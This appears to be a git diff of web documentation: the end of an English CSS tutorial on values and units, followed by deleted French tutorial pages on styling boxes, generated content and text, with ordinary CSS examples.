
To start with, we set 16px as the font size on the <html> element.

- -

To recap, the em unit means "my parent element's font-size" in the case of typography. The {{htmlelement("li")}} elements inside the {{htmlelement("ul")}} with a class of ems take their sizing from their parent. So each successive level of nesting gets progressively larger, as each has its font size set to 1.3em — 1.3 times its parent's font size.

- -

To recap, the rem unit means "The root element's font-size". (rem stands for "root em".) The {{htmlelement("li")}} elements inside the {{htmlelement("ul")}} with a class of rems take their sizing from the root element (<html>). This means that each successive level of nesting does not keep getting larger.

- -

However, if you change the <html> font-size in the CSS you will see that everything else changes relative to it — both rem- and em-sized text.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/em-rem.html", '100%', 1000)}} 

- -

Percentages

- -

In a lot of cases, a percentage is treated in the same way as a length. The thing with percentages is that they are always set relative to some other value. For example, if you set an element's font-size as a percentage it will be a percentage of the font-size of the element's parent. If you use a percentage for a width value, it will be a percentage of the width of the parent.

- -

In the below example the two percentage-sized boxes and the two pixel-sized boxes have the same class names. Both sets are 200px and 40% wide respectively.

- -

The difference is that the second set of two boxes is inside a wrapper that is 400 pixels wide. The second 200px wide box is the same width as the first one, but the second 40% box is now 40% of 400px — a lot narrower than the first one!

- -

Try changing the width of the wrapper or the percentage value to see how this works.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} 

- -

The next example has font sizes set in percentages. Each <li> has a font-size of 80%, therefore the nested list items become progressively smaller as they inherit their sizing from their parent.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/percentage-fonts.html", '100%', 650)}} 

- -

Note that, while many value types accept a length or a percentage, there are some that only accept length. You can see which values are accepted on the MDN property reference pages. If the allowed value includes <length-percentage> then you can use a length or a percentage. If the allowed value only includes <length>, it is not possible to use a percentage.

- -

Numbers

- -

Some value types accept numbers, without any unit added to them. An example of a property which accepts a unitless number is the opacity property, which controls the opacity of an element (how transparent it is). This property accepts a number between 0 (fully transparent) and 1 (fully opaque).

- -

In the below example, try changing the value of opacity to various decimal values between 0 and 1 and see how the box and its contents become more or less opaque.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/opacity.html", '100%', 500)}} 

- -
-

Note: When you use a number in CSS as a value it should not be surrounded in quotes.

-
- -

Color

- -

There are many ways to specify color in CSS, some of which are more recently implemented than others. The same color values can be used everywhere in CSS, whether you are specifying text color, background color, or whatever else.

- -

The standard color system available in modern computers is 24 bit, which allows the display of about 16.7 million distinct colors via a combination of different red, green and blue channels with 256 different values per channel (256 x 256 x 256 = 16,777,216.) Let's have a look at some of the ways in which we can specify colors in CSS.

- -
-

Note: In this tutorial we will look at the common methods of specifying color that have good browser support; there are others but they don't have as good support and are less common.

-
- -

Color keywords

- -

Quite often in examples here in the learn section or elsewhere on MDN you will see the color keywords used, as they are a simple and understandable way of specifying color. There are a number of these keywords, some of which have fairly entertaining names! You can see a full list on the page for the <color> value type.

- -

Try playing with different color values in the live examples below, to get more of an idea how they work.

- -

Hexadecimal RGB values

- -

The next type of color value you are likely to encounter is hexadecimal codes. Each hex value consists of a hash/pound symbol (#) followed by six hexadecimal numbers, each of which can take one of 16 values between 0 and f (which represents 15) — so 0123456789abcdef. Each pair of values represents one of the channels — red, green and blue — and allows us to specify any of the 256 available values for each (16 x 16 = 256.)

- -

These values are a bit more complex and less easy to understand, but they are a lot more versatile than keywords — you can use hex values to represent any color you want to use in your color scheme.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/color-hex.html", '100%', 700)}} 

- -

Again, try changing the values to see how the colors vary.

- -

RGB and RGBA values

- -

The third scheme we'll talk about here is RGB. An RGB value is a function — rgb() — which is given three parameters that represent the red, green, and blue channel values of the colors, in much the same way as hex values. The difference with RGB is that each channel is represented not by two hex digits, but by a decimal number between 0 and 255 — somewhat easier to understand.

- -

Let's rewrite our last example to use RGB colors:

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} 

- -

You can also use RGBA colors — these work in exactly the same way as RGB colors, and so you can use any RGB values. However, there is a fourth value that represents the alpha channel of the color, which controls opacity. If you set this value to 0 it will make the color fully transparent, whereas 1 will make it fully opaque. Values in between give you different levels of transparency.

- -
-

Note: Setting an alpha channel on a color has one key difference to using the {{cssxref("opacity")}} property we looked at earlier. When you use opacity you make the element and everything inside it opaque, whereas using RGBA colors only makes the color you are specifying opaque.

-
- -

In the example below I have added a background image to the containing block of our colored boxes. I have then set the boxes to have different opacity values — notice how the background shows through more when the alpha channel value is smaller.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}}

- -

In this example, try changing the alpha channel values to see how it affects the color output.

- -
-

Note: At some point modern browsers were updated so that rgba() and rgb(), and hsl() and hsla() (see below), became pure aliases of each other and started to behave exactly the same. So for example both rgba() and rgb() accept colors with and without alpha channel values. Try changing the above example's rgba() functions to rgb() and see if the colors still work! Which style you use is up to you, but separating out non-transparent and transparent color definitions to use the different functions gives (very) slightly better browser support and can act as a visual indicator of where transparent colors are being defined in your code.

-
- -

HSL and HSLA values

- -

Slightly less well-supported than RGB is the HSL color model (not supported on old versions of IE), which was implemented after much interest from designers. Instead of red, green, and blue values, the hsl() function accepts hue, saturation, and lightness values, which are used to distinguish between the 16.7 million colors, but in a different way:

- - - -

We can update the RGB example to use HSL colors like this:

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}} 

- -

Just as RGB has RGBA, HSL has an HSLA equivalent, which gives you the same ability to specify the alpha channel. I've demonstrated this below by changing my RGBA example to use HSLA colors.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} 

- -

You can use any of these color values in your projects. It is likely that for most projects you will decide on a color palette and then use those colors — and your chosen method of specifying color — throughout the whole project. You can mix and match color models, however for consistency it is usually best if your entire project uses the same one!

- -

Images

- -

The <image> value type is used wherever an image is a valid value. This can be an actual image file pointed to via a url() function, or a gradient.

- -

In the example below, we have demonstrated an image and a gradient in use as a value for the CSS background-image property.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/image.html", '100%', 740)}} 

- -
-

Note: there are some other possible values for <image>, however these are newer and currently have poor browser support. Check out the page on MDN for the <image> data type if you want to read about them.

-
- -

Position

- -

The <position> value type represents a set of 2D coordinates, used to position an item such as a background image (via background-position). It can take keywords such as top, left, bottom, right, and center to align items with specific bounds of a 2D box, along with lengths, which represent offsets from the top and left-hand edges of the box.

- -

A typical position value consists of two values — the first sets the position horizontally, the second vertically. If you only specify values for one axis the other will default to center.

- -

In the following example we have positioned a background image 40px from the top and to the right of the container using a keyword.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/position.html", '100%', 720)}} 

- -

Play around with these values to see how you can push the image around.

- -

Strings and identifiers

- -

Throughout the examples above, we've seen places where keywords are used as a value (for example <color> keywords like red, black, rebeccapurple, and goldenrod). These keywords are more accurately described as identifiers, a special value that CSS understands. As such they are not quoted — they are not treated as strings.

- -

There are places where you use strings in CSS. For example when specifying generated content. In this case, the value is quoted to demonstrate that it is a string. In the below example we use unquoted color keywords along with a quoted generated content string.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/strings-idents.html", '100%', 550)}} 

- -

Functions

- -

The final type of value we will take a look at is the group of values known as functions. In programming, a function is a reusable section of code that can be run multiple times to complete a repetitive task with minimum effort on the part of both the developer and the computer. Functions are usually associated with languages like JavaScript, Python, or C++, but they do exist in CSS too, as property values. We've already seen functions in action in the Colors section — rgb(), hsl(), etc. The value used to return an image from a file — url() — is also a function.

- -

A value that behaves more like something you might find in a traditional programming language is the calc() CSS function. This function gives you the ability to do simple calculations inside your CSS. It's particularly useful if you want to work out values that you can't define when writing the CSS for your project, and need the browser to work out for you at runtime.

- -

For example, below we are using calc() to make the box 20% + 100px wide. The 20% is calculated from the width of the parent container .wrapper and so will change if that width changes. We can't do this calculation beforehand because we don't know what 20% of the parent will be, so we use calc() to tell the browser to do it for us.

- -

{{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}}

- -

Test your skills!

- -

We have covered a lot in this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see Test your skills: Values and units.

- -

Summary

- -

This has been a quick run-through of the most common types of values and units you might encounter. You can have a look at all of the different types on the CSS Values and units reference page; you will encounter many of these in use as you work through these lessons.

- -

The key thing to remember is that each property has a defined list of allowed value types, and each value type has a definition explaining what the values are. You can then look up the specifics here on MDN.

- -

For example, understanding that <image> also allows you to create a color gradient is useful but perhaps non-obvious knowledge to have!

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}

- -

In this module

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git "a/files/fr/apprendre/css/comment/cr\303\251er_de_belles_bo\303\256tes/index.html" "b/files/fr/apprendre/css/comment/cr\303\251er_de_belles_bo\303\256tes/index.html" deleted file mode 100644 index 8e6fdc1761..0000000000 --- "a/files/fr/apprendre/css/comment/cr\303\251er_de_belles_bo\303\256tes/index.html" +++ /dev/null @@ -1,314 +0,0 @@ ---- -title: Créer de belles boîtes -slug: Apprendre/CSS/Comment/Créer_de_belles_boîtes -tags: - - Apprendre - - CSS - - Débutant -translation_of: Learn/CSS/Howto/create_fancy_boxes ---- -

Les boîtes CSS sont des blocs de base pour la construction des pages web. Créer des boîtes agréables à regarder est un défi complexe et intéressant. C'est un défi intéressant parce qu'on peut implémenter une idée de concept, de design, grâce à du code qui fonctionne. C'est un défi complexe car CSS possède à la fois plein de contraintes et de libertés. Dans cet article, nous allons voir de quoi il en retourne en dessinant quelques belles boîtes.

- -

Avant d'attaquer la partie pratique, nous vous recommandons de lire l'article qui explique le fonctionnement du modèle de boîte CSS. Bien que ce ne soit pas strictement nécessaire, il peut également être judicieux que de lire les bases de la disposition en CSS.

- -

D'un point de vue technique, créer de belles boîtes devient beaucoup plus simple quand on connaît les propriétés de bordure (border-*) et d'arrière-plan (background-*) et les règles qui permettent de les appliquer sur une boîte donnée. Mais au delà de cet aspect technique, il s'agit aussi de laisser libre cours à votre créativité. Cela ne se fera pas en un jour et certains développeurs web passent beaucoup temps sur ces sujets.

- -

Nous allons voir beaucoup d'exemples mais tout ces exemples n'utiliseront qu'un seul fragment de HTML, aussi simple que celui-ci :

- -
<div class="joli">Coucou ! Je veux être joli.</div>
- -

Effectivement, c'est très léger comme HTML. Que peut-on faire avec ça ?

- - - -

En fait, ce n'est pas tant le HTML que le CSS qui va fournir ici plein de possibilités. Allons-y.

- -

Jouer avec le modèle de boîte

- -

Le modèle de boîte, seul, permet de ne créer que des effets basiques : ajouter des bordures, créer des rectangles, etc. Ça commence à devenir intéressant quand on joue sur les propriétés avec des valeurs négatives pour padding et/ou margin ou quand on utilise un border-radius supérieur à la taille de la boîte.

- -

Créer des cercles

- - - -

Voici un exemple à la fois simple et sympa. La propriété {{cssxref("border-radius")}} est utilisée pour arrondir les angles d'une boîte. Que se passe-t-il lorsque la taille du rayon pour l'arrondi est en fait supérieure ou égale à la taille de la boîte ?

- -
.joli {
-  /* Mieux vaut centrer le texte dans un
-     cercle. */
-  text-align : center;
-
-  /* On fait attention à ce que le texte
-     ne touche pas la bordure. On placera
-     donc le texte avec un remplissage, ce
-     qui donnera une meilleure impression
-     pour le cercle. */
-  padding : 1em;
-
-  /* La bordure marquera le cercle. On
-     pourrait également utiliser un arrière-
-     plan car celui-ci aurait été contenu
-     par border-radius */
-  border : 0.5em solid black;
-
-  /* Assurons-nous que la boîte soit carrée
-     pour obtenir un cercle bien rond plutôt
-     qu'une ellipse ;) */
-  width  : 4em;
-  height : 4em;
-
-  /* Enfin, transformons le carré en cercle */
-  border-radius: 100%;
-}
- -

Et voilà comment on obtient un cercle :

- -

{{EmbedLiveSample('Créer_des_cercles', '100%', '120')}}

- -

Les arrière-plans

- -

Lorsqu'on parle de boîtes plutôt jolies, les propriétés primordiales sont les propriétés background-*. Quand on manipule ces propriétés, on peut alors voir la boîte CSS comme une toile blanche qu'on pourrait peindre.

- -

Avant d'aborder des exemples pratiques, revenons sur deux choses à savoir sur les arrière-plans :

- - - - - -

Passons à la manipulation :

- -
.joli {
-  padding : 1em;
-  width: 100%;
-  height: 200px;
-  box-sizing: border-box;
-
-  /* La couche la plus basse sera
-     peinte avec un gris clair uni */
-  background-color: #E4E4D9;
-
-  /* Ensuite on applique des gradients
-     linéaires les uns sur les autres
-     pour créer un effet de bandes colorées.
-     Comme vous pouvez le voir, les gradients
-     sont considérés et manipulés comme des
-     images */
-  background-image: linear-gradient(175deg, rgba(0,0,0,0) 95%, #8da389 95%),
-                    linear-gradient( 85deg, rgba(0,0,0,0) 95%, #8da389 95%),
-                    linear-gradient(175deg, rgba(0,0,0,0) 90%, #b4b07f 90%),
-                    linear-gradient( 85deg, rgba(0,0,0,0) 92%, #b4b07f 92%),
-                    linear-gradient(175deg, rgba(0,0,0,0) 85%, #c5a68e 85%),
-                    linear-gradient( 85deg, rgba(0,0,0,0) 89%, #c5a68e 89%),
-                    linear-gradient(175deg, rgba(0,0,0,0) 80%, #ba9499 80%),
-                    linear-gradient( 85deg, rgba(0,0,0,0) 86%, #ba9499 86%),
-                    linear-gradient(175deg, rgba(0,0,0,0) 75%, #9f8fa4 75%),
-                    linear-gradient( 85deg, rgba(0,0,0,0) 83%, #9f8fa4 83%),
-                    linear-gradient(175deg, rgba(0,0,0,0) 70%, #74a6ae 70%),
-                    linear-gradient( 85deg, rgba(0,0,0,0) 80%, #74a6ae 80%);
-}
- -

{{EmbedLiveSample('Les_arrière-plans', '100%', '200')}}

- -
-

Note : Les gradients peuvent être utilisés pour créer une myriade d'effets. Vous pouvez par exemple consulter les excellents motifs CSS de Lea Verou. Attention cependant, en termes de performance, les gradients peuvent avoir un impact non négligeable. Si vous souhaitez explorer les gradients, n'hésitez pas à lire notre article dédié.

-
- -

Les pseudo-éléments

- -

Lorsqu'on met en forme une boîte, on aurait parfois envie d'avoir plus de boîtes pour composer une mise en forme plus complexe et plus belle. La plupart du temps, cela peut nous amener à polluer le DOM en ajoutant des éléments HTML supplémentaires, uniquement pour la mise en forme. Bien que ce soit parfois nécessaire, c'est considéré comme une mauvaise pratique. Pour éviter cela, on peut utiliser les pseudo-éléments CSS.

- -

Un nuage

- - - -

Voici un exemple qui illustre comment transformer la boîte en nuage :

- -
.joli {
-  text-align: center;
-
-  /* On utilise la même astuce que pour
-     cercles vus avant */
-  box-sizing: border-box;
-  width     : 150px;
-  height    : 150px;
-  padding   : 80px 1em 0 1em;
-
-  /* On fait de la place pour les « oreilles »
-     du nuage */
-  margin    : 0 100px;
-
-  position: relative;
-
-  background-color: #A4C9CF;
-
-  /* Enfin, le cercle n'est pas tout à fait complet
-     car on veut que la base soit plate.
-     Vous pouvez adapter ici comme bon vous semble
-     si vous souhaitez que la base ne soit pas
-     linéaire */
-  border-radius: 100% 100% 0 0;
-}
-
-/* Voici les styles qu'on appliquera aux deux
-   pseudo-éléments ::before et ::after. */
-.joli::before,
-.joli::after {
-  /* Cette déclaration est nécessaire pour afficher
-     les pseudo-éléments même si leur valeur est la
-     chaîne vide */
-  content: '';
-
-  /* On positionne les pseudo-éléments à droite et à
-     gauche de la boîte mais toujours en bas */
-  position: absolute;
-  bottom  : 0;
-
-  /* On s'assure que les pseudo-éléments passent sous
-     le contenu qu'il y aurait. */
-  z-index : -1;
-
-  background-color: #A4C9CF;
-  border-radius: 100%;
-}
-
-.joli::before {
-  /* Voici la taille pour l'oreille gauche
-     du nuage */
-  width  : 125px;
-  height : 125px;
-
-  /* On la décale un peu à gauche */
-  left    : -80px;
-
-  /* Pour que le bas du nuage reste droit, il
-     faut s'assurer que le coin en bas à gauche
-     soit bien un angle droit. */
-  border-bottom-right-radius: 0;
-}
-
-.joli::after {
-  /* Voici la taille pour l'oreille droite */
-  width  : 100px;
-  height : 100px;
-
-  /* On la décale un peu à droite */
-  right   : -60px;
-
- /* Pour que le bas du nuage reste droit, il
-    faut s'assurer que le coin en bas à droite
-    soit bien un angle droit. */
-  border-bottom-left-radius: 0;
-}
- -

{{EmbedLiveSample('Un_nuage', '100%', '160') }}

- -

Une citation

- -

Pour prendre un exemple plus concret d'utilisation des pseudo-éléments : la mise en forme des éléments HTML {{HTMLElement('blockquote')}}. Prenons un exemple avec un fragment HTML différent, qui nous permettra en outre d'aborder les aspects de localisation :

- -
<blockquote>People who think they know everything are a great annoyance to those of us who do. <i>Isaac Asimov</i></blockquote>
-<blockquote lang="fr">L'intelligence, c'est comme les parachutes, quand on n'en a pas, on s'écrase. <i>Pierre Desproges</i></blockquote>
- -

Voici la feuille de style que nous allons utiliser :

- -
blockquote {
-  min-height: 5em;
-  padding   : 1em 4em;
-  font      : 1em/150% sans-serif;
-  position  : relative;
-  background-color: lightgoldenrodyellow;
-}
-
-blockquote::before,
-blockquote::after {
-  position: absolute;
-  height  : 3rem;
-  font    : 6rem/100% Georgia, "Times New Roman", Times, serif;
-}
-
-blockquote::before {
-  content: '“';
-  top    : 0.3rem;
-  left   : 0.9rem;
-}
-
-blockquote::after {
-  content: '”';
-  bottom : 0.3rem;
-  right  : 0.8rem;
-}
-
-blockquote:lang(fr)::before {
-  content: '«';
-  top    : -1.5rem;
-  left   : 0.5rem;
-}
-
-blockquote:lang(fr)::after {
-  content: '»';
-  bottom : 2.6rem;
-  right  : 0.5rem
-}
-
-blockquote i {
-  display   : block;
-  font-size : 0.8em;
-  margin-top: 1rem;
-  text-style: italic;
-  text-align: right;
-}
- -

{{EmbedLiveSample('Une_citation', '100%', '300')}}

- -

L'assemblage

- -

En fusionnant tout ces aspects, il est possible de créer des effets somptueux. Au fur et à mesure, cela s'équilibrera entre un défi technique et un défi créatif. Pour conclure, par exemple, on peut créer des illusions d'optique :

- - - -

Nous allons ici créer un effet d'ombre portée. La propriété {{cssxref("box-shadow")}} permet d'obtenir un effet basique mais en manipulant les pseudo-éléments et la propriété {{cssxref("transform")}}, on peut obtenir un résultat plus naturel.

- -
.joli {
-  position: relative;
-  background-color: #FFC;
-  padding: 2rem;
-  text-align: center;
-  max-width: 200px;
-}
-
-.joli::before {
-  content: "";
-
-  position : absolute;
-  z-index  : -1;
-  bottom   : 15px;
-  right    : 5px;
-  width    : 50%;
-  top      : 80%;
-  max-width: 200px;
-
-  box-shadow: 0px 13px 10px black;
-  transform: rotate(4deg);
-}
- -

{{EmbedLiveSample("L'assemblage", '100%', '100')}}

- -

La suite

- -

Pour de nombreux cas, on utilisera des couleurs et des images d'arrière-plans pour composer de belles boîtes. Nous vous invitons donc à approfondir la gestion des couleurs et des images. Par ailleurs, rien ne sert de créer de belles boîtes si celles-ci ne font pas partie d'une disposition bien organisée. Aussi, si vous ne l'avez pas encore lu, nous vous conseillons de parcourir les bases de la disposition.

diff --git a/files/fr/apprendre/css/comment/generated_content/index.html b/files/fr/apprendre/css/comment/generated_content/index.html deleted file mode 100644 index a8b6860177..0000000000 --- a/files/fr/apprendre/css/comment/generated_content/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: Contenu -slug: Apprendre/CSS/Comment/Generated_content -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/Howto/Generated_content ---- -

 

-

Cette page décrit plusieurs manières d'utiliser CSS pour ajouter du contenu à un document affiché.

-

Vous modifierez votre feuille de style pour ajouter du contenu textuel et une image.

-

Information : contenu

-

Un des avantages importants de CSS est qu'il vous aide à séparer le style d'un document de son contenu. Cependant, il existe des situations où il n'est pas insensé de spécifier une partie du contenu au sein de la feuille de style plutôt qu'en tant que partie du document

-

Le contenu spécifié dans une feuille de style peut consister en du texte ou des images. Ce contenu peut être spécifié dans une feuille de style lorsqu'il est directement lié à la structure du document.

- - - - - - - -
- Plus de détails
Spécifier du contenu dans une feuille de style peut engendrer des complications. Par exemple, vous pouvez avoir des versions de votre document en différentes langues qui partagent la même feuille de style. Si une partie de la feuille de style doit être traduite, cela signifie que vous devez placer cette partie dans des fichiers séparés et vous arranger pour qu'elles soient liées avec les bonnes versions de langue de votre document. -

Ces complications ne surviendront pas si le contenu spécifié consiste en une série de symboles ou d'images compréhensibles dans toutes les langues et cultures.

-

Le contenu spécifié dans une feuille de style ne fait pas partie du DOM.

-
-

Contenu textuel

-

CSS peut insérer du texte avant ou après un élément. Pour spécifier cela, créez une règle et ajoutez :before ou :after au sélecteur. Dans la déclaration, spécifiez la propriété content en lui donnant comme valeur le contenu textuel.

- - - - - - - -
- Exemple
Cette règle ajoute le texte Référence : devant chaque élément de la classe ref : -
- 
-.ref:before {
-  font-weight: bold;
-  color: navy;
-  content: "Référence : ";
-  }
-
-
-
- - - - - - - -
- Plus de détails
Le jeu de caractères d'une feuille de style est UTF-8 par défaut, mais il peut être spécifié dans le lien, ou dans la feuille de style elle-même, ou d'une autre manière. Pour plus de détails, consultez 4.4 CSS style sheet representation dans la spécification CSS. -

Des caractères individuels peuvent également être spécifiés à l'aide d'un mécanisme utilisant le backslash (barre oblique inversée) comme caractère d'échappement. Par exemple, \265B est le symbole du jeu d'échecs pour la reine noire ♛. Pour plus de détails, consultez Referring to characters not represented in a character encoding, ainsi que Characters and case dans la spécification CSS.

-
-

Contenu sous forme d'images

-

Pour ajouter une image avant ou après un élément, vous pouvez spécifier l'URL d'un fichier image dans la valeur de la propriété content.

- - - - - - - -
- Exemple
Cette règle ajoute un espace et une icône après chaque lien faisant partie de la classe glossaire: -
- 
-a.glossaire:after {content: " " url("../images/glossary-icon.gif");}
-
-
-
-


- Pour ajouter une image comme fond d'un élément, spécifiez l'URL d'un fichier image dans la valeur de la propriété background. C'est une propriété raccourcie qui spécifie la couleur de fond, l'image, son éventuelle répétition, et certains autres détails.

- - - - - - - -
- Exemple
Cette règle change le fond d'un élément spécifique, en utilisant une URL pour indiquer un fichier image. -

Le sélecteur spécifie l'id de l'élément. La valeur no-repeat fait que l'image apparaîtra une seule fois :

-
- 
-#panneau-lateral {background: url("../images/sidebar-ground.png") no-repeat;}
-
-
-
- - - - - - - -
- Plus de détails
Pour plus d'informations sur les propriétés affectant les fonds, et d'autres options qui peuvent être spécifiées pour les images de fond, consultez The background dans la spécification CSS.
-

Action : ajout d'une image de fond

-

Cette image est un carré blanc avec une ligne bleue en bas. Téléchargez le fichier image dans le même répertoire que votre fichier CSS :

- - - - - - -
Image:ligne-bleue.png
-

(Par exemple, cliquez avec le bouton de droite pour obtenir un menu contextuel, choisissez Enregistrer l'image sous... et choisissez le répertoire que vous utilisez pour ce tutoriel.)

-

Éditez votre fichier CSS et ajoutez cette règle à l'élément body, pour donner une image de fond à la page entière.

-
- 
background: url("ligne-bleue.png");
-
-
-

La valeur repeat est celle par défaut, elle n'a dont pas besoin d'être spécifiée. L'image se répète horizontalement et verticalement, ce qui donne un aspect ressemblant à un papier ligné :

-
-

Image:fond-lignes-bleues.png

-
-
-

Cascading Style Sheets

-
-
-

Cascading Style Sheets

-
-
-
- - - - - - - -
- Challenge
Téléchargez cette image : - - - - - - -
Image:punaise-jaune.png
-

Ajoutez une règle à votre feuille de style de manière à ce que l'image soit affichée au début de chaque ligne :

-
-

Image:fond-lignes-bleues.png

-
-
- image:punaise-jaune.png Cascading Style Sheets
-
- image:punaise-jaune.png Cascading Style Sheets
-
-
-
-

Pour continuer

-

Une façon courante d'ajouter du contenu via une feuile de style est de marquer les différents éléments d'une liste.

-

La page suivante décrit la manière de spécifier un style pour les éléments d'une liste : Listes.

diff --git a/files/fr/apprendre/css/comment/index.html b/files/fr/apprendre/css/comment/index.html deleted file mode 100644 index 28cc40c4fe..0000000000 --- a/files/fr/apprendre/css/comment/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Apprendre à utiliser CSS pour résoudre des problèmes -slug: Apprendre/CSS/Comment -tags: - - Apprendre - - CSS - - Débutant -translation_of: Learn/CSS/Howto ---- -

 

- -

Les liens suivants pointent vers des solutions aux problèmes courants que vous devrez résoudre avec CSS.

- -

Scénarios fréquents

- -
-
-

Basess

- - - -

CSS et texte

- - -
- -
-

Boîtes et mises en page

- - -
-
- -

Techniques avancées ou peu communes

- -

Au-delà des concepts de base, CSS dispose de techniques de conception avancées. Dans ces articles, nous verrons les scénarios les plus difficiles auxquels vous aurez à faire face :

- -

Général

- - - -

Effets avancés

- - - -

Mise en page

- - - -

Voir aussi

- -

CSS FAQ — Une collection d'informations ponctuelles couvrant une variété de sujets, du débogage à l'utilisation de sélecteurs.

diff --git a/files/fr/apprendre/css/comment/mettre_en_forme_du_texte/index.html b/files/fr/apprendre/css/comment/mettre_en_forme_du_texte/index.html deleted file mode 100644 index 67864f3b97..0000000000 --- a/files/fr/apprendre/css/comment/mettre_en_forme_du_texte/index.html +++ /dev/null @@ -1,330 +0,0 @@ ---- -title: Mettre en forme du texte -slug: Apprendre/CSS/Comment/Mettre_en_forme_du_texte -tags: - - Apprendre - - CSS - - Débutant -translation_of: Learn/CSS/Styling_text/Fundamentals -translation_of_original: Learn/CSS/Howto/style_text ---- -

La mise en forme du texte est au cœur de CSS. Celui-ci fournit de nombreuses propriétés permettant de modifier l'apparence du texte. En quelque sorte, CSS est le prolongement, sur le Web, de la typographie qui existe depuis plusieurs siècles.

- -

La mise en forme du texte se décline sur deux composantes : la police et la disposition du texte. Ces deux éléments sont des bases, abordées parmi les premiers concepts qu'on voit en CSS. Toutefois, la mise en forme du texte est plus subtile qu'il n'y paraît. Dans cet article, nous détaillerons les différentes possibilités offertes par CSS. Libre à vous de choisir ce dont vous avez besoin ou ce sur quoi vous souhaitez expérimenter.

- -

La mise en forme simple

- -

Les polices de texte peuvent être modifiées et adaptées grâce à ces propriétés CSS :

- - - -

CSS fournit également des unités dédiées aux polices et des outils pour le texte sélectionné :

- - - -

Les propriétés les plus fréquemment utilisées peuvent être manipulées grâce à la propriété raccourcie {{cssxref("font")}}. Celle-ci se décompose (dans l'ordre) en : {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, et {{cssxref("font-family")}}. Parmi toutes ces propriétés, seules font-size et font-family sont obligatoires pour cette notation raccourcie.

- -

Prenons un exemple pour illustrer ce point.

- -

Voici le fragment de code HTML qu'on utilisera :

- -
<p>
-  He dressed himself "all in his best," and at last got out into the streets.
-  The people were by this time pouring forth, as he had seen them with the
-  Ghost of Christmas Present; and walking with his hands behind him, Scrooge
-  regarded every one with a delighted smile. He looked so irresistibly pleasant,
-  in a word, that three or four good-humoured fellows said, "Good morning, sir!
-  A merry Christmas to you!" And Scrooge said often afterwards, that of all the
-  blithe sounds he had ever heard, those were the blithest in his ears.
-</p>
-<p class="fancy">
-  He dressed himself "all in his best," and at last got out into the streets.
-  The people were by this time pouring forth, as he had seen them with the
-  Ghost of Christmas Present; and walking with his hands behind him, Scrooge
-  regarded every one with a delighted smile. He looked so irresistibly pleasant,
-  in a word, that three or four good-humoured fellows said, "Good morning, sir!
-  A merry Christmas to you!" And Scrooge said often afterwards, that of all the
-  blithe sounds he had ever heard, those were the blithest in his ears.
-</p>
- -

Et voilà la feuille de style CSS qu'on appliquera :

- -
/* Voici un disposition simple pour que
-   les paragraphes soient côte à côte. */
-p {
-  box-sizing: border-box;
-  width     : 50%;
-  padding   : 1em;
-  float     : left;
-}
-
-.fancy {
-  font: 0.85rem/150% Helvetica, Arial, sans-serif;
-}
-
-.fancy::first-line {
-  font-variant: small-caps;
-}
-
-.fancy::first-letter {
-  font-family: serif;
-  font-size  : 3rem;
-
-  float      : left;
-  background : blanchedalmond;
-  color      : goldenrod;
-  border     : 0.5rem solid gold;
-  padding    : 1rem;
-  margin     : 0 0.5rem 0 0;
-}
- -

Ces deux éléments permettront d'aboutir au résultat suivant :

- -

{{EmbedLiveSample('La_mise_en_forme_simple', '100%', '320')}}

- -
-

Note : Les styles de police vous permettent de faire de nombreuses choses. Toutefois, le Web reste un média principalement basé sur le texte et les polices ont donc leur importance. Nous vous encourageons donc à utiliser les mécanismes offerts par CSS pour améliorer la lisibilité du texte. Pour cela, vous pouvez consulter les différentes règles typographiques recommandées pour le Web.

-
- -

Paramètres avancées des polices d'écriture

- -

CSS fournit des propriétés, encore plus avancées, dédiées aux polices d'écriture. Cependant, ces propriétés sont toujours expérimentales et parfois mal supportées par certains navigateurs ou spécifiques à certaines langues (généralement les langues non latines) :

- - - -

Appliquer des fontes

- -

Il existe des milliers de polices, quelques unes sont très connues mais on peut s'y perdre rapidement. La typographie, l'art des polices ne sont pas nouveaux, cela dit, le Web apporte son lot de contraintes spécifiques et les fontes ne sont parfois pas aussi adaptées que sur le papier. Voyons ici comment gérer cela.

- -

La propriété {{cssxref("font-family")}} vous permet de choisir la police de caractères que vous souhaitez appliquer à votre texte. Cette propriété fonctionne avec une valeur qui s'écrit sous la forme d'une liste de noms de polices, chacun séparé par des virgules. Le navigateur parcourera les polices de gauche à droite afin d'utiliser celle qui est disponible sur la machine.

- -
body {
-  /* Si la police "Open Sans" est disponible, c'est
-     celle-ci qui serait utilisée pour mettre en forme
-     le texte. Sinon, ce sera la police Arial qui sera
-     utilisée et enfin, si Arial n'est pas disponible,
-     ce sera la police sans-serif disponible, par défaut
-     sur le système, qui sera utilisée. */
-  font-family: "Open Sans", Arial, sans-serif;
-}
- -

Les polices par défaut

- -

